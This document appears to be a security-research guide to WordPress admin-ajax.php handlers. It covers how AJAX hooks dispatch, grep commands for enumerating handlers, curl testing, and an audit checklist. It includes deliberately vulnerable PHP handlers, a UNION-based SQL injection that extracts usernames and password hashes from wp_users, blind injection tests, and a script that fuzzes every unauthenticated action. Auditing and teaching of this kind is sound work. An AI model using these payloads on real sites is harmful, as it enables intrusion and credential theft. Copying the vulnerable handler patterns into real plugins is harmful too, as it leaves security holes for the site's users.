WordPress AJAX Hooks and Security
WordPress AJAX is one of the most common attack surfaces in plugins and themes. The admin-ajax.php endpoint handles all AJAX requests and routes them to registered handlers. Misconfigured handlers are responsible for a large percentage of high-severity WordPress CVEs.
How admin-ajax.php Works
All AJAX requests pass through wp/wp-admin/admin-ajax.php. The file bootstraps WordPress, determines the current action, and dispatches to the registered handler.
The flow:
- Request arrives at
admin-ajax.phpwith a POST parameteraction - WordPress fires
wp_ajax_{action}for authenticated users (checked via cookie or Authorization header) - WordPress fires
wp_ajax_nopriv_{action}for unauthenticated users - Both hooks fire in sequence if the plugin registers both
- If no handler is found, WordPress returns
0or-1
The relevant code in admin-ajax.php:
// Simplified from wp-admin/admin-ajax.php
$action = $_REQUEST['action'];
if ( is_user_logged_in() ) {
do_action( 'wp_ajax_' . $action );
} else {
do_action( 'wp_ajax_nopriv_' . $action );
}
The key insight: WordPress does not validate or sanitize $action before appending it to the hook name. The action value directly controls which hook fires.
Registering AJAX Handlers
Plugins register handlers using add_action:
// Handler available to logged-in users only
add_action( 'wp_ajax_my_plugin_action', 'my_plugin_handle_ajax' );
// Handler available to everyone including unauthenticated users
add_action( 'wp_ajax_nopriv_my_plugin_action', 'my_plugin_handle_ajax' );
function my_plugin_handle_ajax() {
// Handle request
wp_die();
}
Handlers MUST call wp_die() at the end. Without it, WordPress appends a 0 to the response, which can sometimes interfere with JSON parsing but is not itself a vulnerability.
Finding AJAX Handlers with Grep
The most direct way to enumerate all registered AJAX actions in a plugin or theme:
# Find all wp_ajax_ and wp_ajax_nopriv_ registrations
grep -r "wp_ajax_" /var/www/html/wp-content/plugins/ --include="*.php" -n
# Find only nopriv handlers (accessible without login)
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ --include="*.php" -n
# Find the actual handler function names
grep -rP "add_action\s*\(\s*['\"]wp_ajax_" /var/www/html/wp-content/plugins/ --include="*.php" -n
# Extract action names from registrations
grep -rP "add_action\s*\(\s*['\"]wp_ajax_nopriv_([^'\"]+)" /var/www/html/wp-content/plugins/ \
--include="*.php" -oP "wp_ajax_nopriv_\K[^'\"]+"
For a specific plugin:
PLUGIN_DIR="/var/www/html/wp-content/plugins/vulnerable-plugin"
# All AJAX actions
grep -r "wp_ajax" "$PLUGIN_DIR" --include="*.php" -n
# Handler functions - find where they're defined
HANDLERS=$(grep -rP "add_action\s*\(\s*['\"]wp_ajax_[^'\"]+['\"],\s*['\"]?\K[^'\")\s]+" \
"$PLUGIN_DIR" --include="*.php" -oP)
# For each handler, find its definition
for handler in $HANDLERS; do
grep -rn "function $handler" "$PLUGIN_DIR" --include="*.php"
done
Testing AJAX Handlers with curl
Basic Unauthenticated Request
# Test a nopriv handler
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=my_plugin_action'
# With additional parameters
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=my_plugin_action¶m1=value1¶m2=value2'
Authenticated Request
First, obtain a session cookie:
# Login and save cookie jar
curl -s -c /tmp/wp_cookies.txt -X POST 'https://target.example.com/wp-login.php' \
-d 'log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' \
-H 'Cookie: wordpress_test_cookie=WP+Cookie+check'
# Use the session for AJAX requests
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=my_plugin_admin_action'
Testing with a Nonce
Some handlers require a nonce. Extract it from page source first:
# Fetch the page containing the nonce
curl -s -b /tmp/wp_cookies.txt 'https://target.example.com/some-page/' \
| grep -oP 'nonce["\s:]+\K[a-f0-9]{10}'
# Use the extracted nonce
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=my_plugin_action&nonce=EXTRACTED_NONCE&data=payload'
Common AJAX Security Vulnerabilities
1. Missing Authentication Check (nopriv Exposure)
A handler registered with both wp_ajax_ and wp_ajax_nopriv_ that performs privileged operations:
// VULNERABLE: No capability check
add_action( 'wp_ajax_delete_user_data', 'delete_user_data_handler' );
add_action( 'wp_ajax_nopriv_delete_user_data', 'delete_user_data_handler' );
function delete_user_data_handler() {
$user_id = intval( $_POST['user_id'] );
// Deletes any user's data without checking if current user is authorized
delete_user_meta( $user_id, 'sensitive_data' );
wp_send_json_success();
}
Testing:
# Works without any authentication
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=delete_user_data&user_id=1'
2. Missing Nonce Verification
// VULNERABLE: No nonce check
add_action( 'wp_ajax_update_settings', 'update_settings_handler' );
function update_settings_handler() {
// Should call check_ajax_referer() here
$option = sanitize_text_field( $_POST['option_name'] );
$value = sanitize_text_field( $_POST['option_value'] );
update_option( $option, $value );
wp_send_json_success();
}
This is exploitable via CSRF from any page the admin visits. See the CSRF article for exploitation details.
Secure version:
function update_settings_handler() {
check_ajax_referer( 'update_settings_nonce', 'security' );
if ( ! current_user_can( 'manage_options' ) ) {
wp_send_json_error( 'Insufficient permissions', 403 );
}
// ... rest of handler
}
3. Missing Capability Check
Registered only for logged-in users but no role/capability verification:
// VULNERABLE: Any logged-in user (subscriber) can trigger this
add_action( 'wp_ajax_export_all_data', 'export_all_data_handler' );
function export_all_data_handler() {
check_ajax_referer( 'export_nonce' ); // Nonce is present, but...
// No current_user_can() check - any subscriber can export all data
$data = $wpdb->get_results( "SELECT * FROM wp_users" );
wp_send_json_success( $data );
}
4. SQL Injection via POST Parameters
// VULNERABLE: Direct POST parameter interpolation
add_action( 'wp_ajax_search_orders', 'search_orders_handler' );
add_action( 'wp_ajax_nopriv_search_orders', 'search_orders_handler' );
function search_orders_handler() {
global $wpdb;
$search = $_POST['search'];
// Direct interpolation - SQL injection
$results = $wpdb->get_results(
"SELECT * FROM {$wpdb->prefix}orders WHERE order_name LIKE '%$search%'"
);
wp_send_json_success( $results );
}
SQL injection test:
# Boolean-based test
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d "action=search_orders&search=test' AND 1=1-- -"
# UNION-based extraction
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
--data-urlencode "action=search_orders" \
--data-urlencode "search=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -"
# Time-based blind
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
--data-urlencode "action=search_orders" \
--data-urlencode "search=x' AND SLEEP(5)-- -"
5. Insufficient Output Encoding Leading to XSS
// VULNERABLE: Reflects unsanitized input
add_action( 'wp_ajax_nopriv_get_product_info', 'get_product_info_handler' );
function get_product_info_handler() {
$product_name = $_POST['product_name'];
// Directly echoing user input in HTML response
echo '<div class="product">' . $product_name . '</div>';
wp_die();
}
6. IDOR via AJAX
// VULNERABLE: No ownership check
add_action( 'wp_ajax_get_private_note', 'get_private_note_handler' );
function get_private_note_handler() {
global $wpdb;
check_ajax_referer( 'notes_nonce' );
$note_id = intval( $_POST['note_id'] );
// Fetches any note by ID without checking ownership
$note = $wpdb->get_row(
$wpdb->prepare( "SELECT * FROM {$wpdb->prefix}notes WHERE id = %d", $note_id )
);
wp_send_json_success( $note );
}
How WordPress Determines Authentication for AJAX
When a request hits admin-ajax.php, WordPress runs wp_get_current_user() which calls determine_current_user. The authentication sequence:
- Checks
$_COOKIEforwordpress_logged_in_{hash}cookie - Checks HTTP
Authorizationheader for application passwords (format:base64(username:app_password)) - Checks
$_REQUEST['_wpnonce']for REST API nonce-based auth - Fires the
determine_current_userfilter (allows plugins to add custom auth)
For testing authenticated endpoints programmatically:
# Using application passwords (WP 5.6+)
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-H 'Authorization: Basic $(echo -n "admin:xxxx xxxx xxxx xxxx xxxx xxxx" | base64)' \
-d 'action=my_admin_action'
# Proper base64 encoding
AUTH=$(echo -n "admin:xxxx xxxx xxxx xxxx xxxx xxxx" | base64)
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-H "Authorization: Basic $AUTH" \
-d 'action=my_admin_action'
WordPress Core AJAX Actions (Reference)
WordPress itself registers numerous AJAX actions. Some relevant ones for security research:
# List core AJAX actions (they all follow this pattern in wp-admin/)
grep -r "wp_ajax_" /var/www/html/wp-admin/ --include="*.php" -n | grep "add_action"
# Core actions registered in wp-admin/includes/ajax-actions.php
grep "add_action.*wp_ajax_" /var/www/html/wp-admin/includes/ajax-actions.php
Key core AJAX actions:
wp_ajax_heartbeat- Session keep-alive, runs frequentlywp_ajax_query-attachments- Media library querieswp_ajax_save-post- Auto-savewp_ajax_add-user- User creation (admin only)wp_ajax_delete-plugin- Plugin deletion (admin only)
Automated Handler Discovery
Script to enumerate all AJAX handlers in a WordPress installation and test each one:
#!/bin/bash
TARGET="https://target.example.com"
PLUGIN_DIR="/var/www/html/wp-content/plugins"
# Extract all nopriv action names
ACTIONS=$(grep -rP "add_action\s*\(\s*['\"]wp_ajax_nopriv_\K[^'\"]*" \
"$PLUGIN_DIR" --include="*.php" -oh | sort -u)
echo "Found nopriv actions:"
for action in $ACTIONS; do
echo -n "Testing $action: "
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d "action=$action")
echo "$RESPONSE"
done
Response Patterns and What They Mean
| Response | Meaning |
|---|---|
-1 | Nonce check failed (action exists but requires nonce) |
0 | Action not found, or handler returned nothing |
1 | Generic success (handler called wp_die(1)) |
{"success":true,...} | Handler called wp_send_json_success() |
{"success":false,...} | Handler called wp_send_json_error() |
-1 from check_ajax_referer | Nonce invalid (plugin returned it directly) |
When fuzzing, a response other than 0 means the action was recognized and a handler ran.
Alternate AJAX Entry Points
While admin-ajax.php is the standard entry point, some plugins process AJAX via:
- Custom PHP files in the plugin directory (accessed directly)
- WordPress REST API (
/wp-json/) wp-login.phpactionsinithook with$_REQUEST['action']checks
# Find plugins that handle requests directly (not via admin-ajax.php)
grep -rn "\$_POST\|\$_GET\|\$_REQUEST" /var/www/html/wp-content/plugins/ \
--include="*.php" -l | xargs grep -l "defined.*ABSPATH.*exit\|die"
# Find files that check for their own request parameters on init
grep -rn "add_action.*init" /var/www/html/wp-content/plugins/ \
--include="*.php" -A5 | grep -A4 "\$_GET\|\$_POST\|\$_REQUEST"
Security Checklist for Auditing AJAX Handlers
When reviewing an AJAX handler, check:
- Is the handler registered with
wp_ajax_nopriv_? If so, can unauthenticated users cause harm? - Does the handler call
check_ajax_referer()orwp_verify_nonce()early? - Does the handler call
current_user_can()with the appropriate capability? - Are all POST/GET parameters sanitized before database queries?
- Are all output values properly escaped before echoing?
- Does the handler perform file operations? If so, are paths validated?
- Does the handler make server-side HTTP requests based on user input (SSRF)?
- Does the handler
wp_die()at the end, or does execution fall through?
# Grep pattern to find handlers missing nonce checks
# (finds function definitions that don't contain check_ajax_referer or wp_verify_nonce)
grep -rP "add_action\s*\(\s*['\"]wp_ajax_" /var/www/html/wp-content/plugins/my-plugin/ \
--include="*.php" -n
# For each function found, verify it contains a nonce check
grep -A 30 "function my_handler_function" /path/to/plugin/file.php | \
grep -c "check_ajax_referer\|wp_verify_nonce"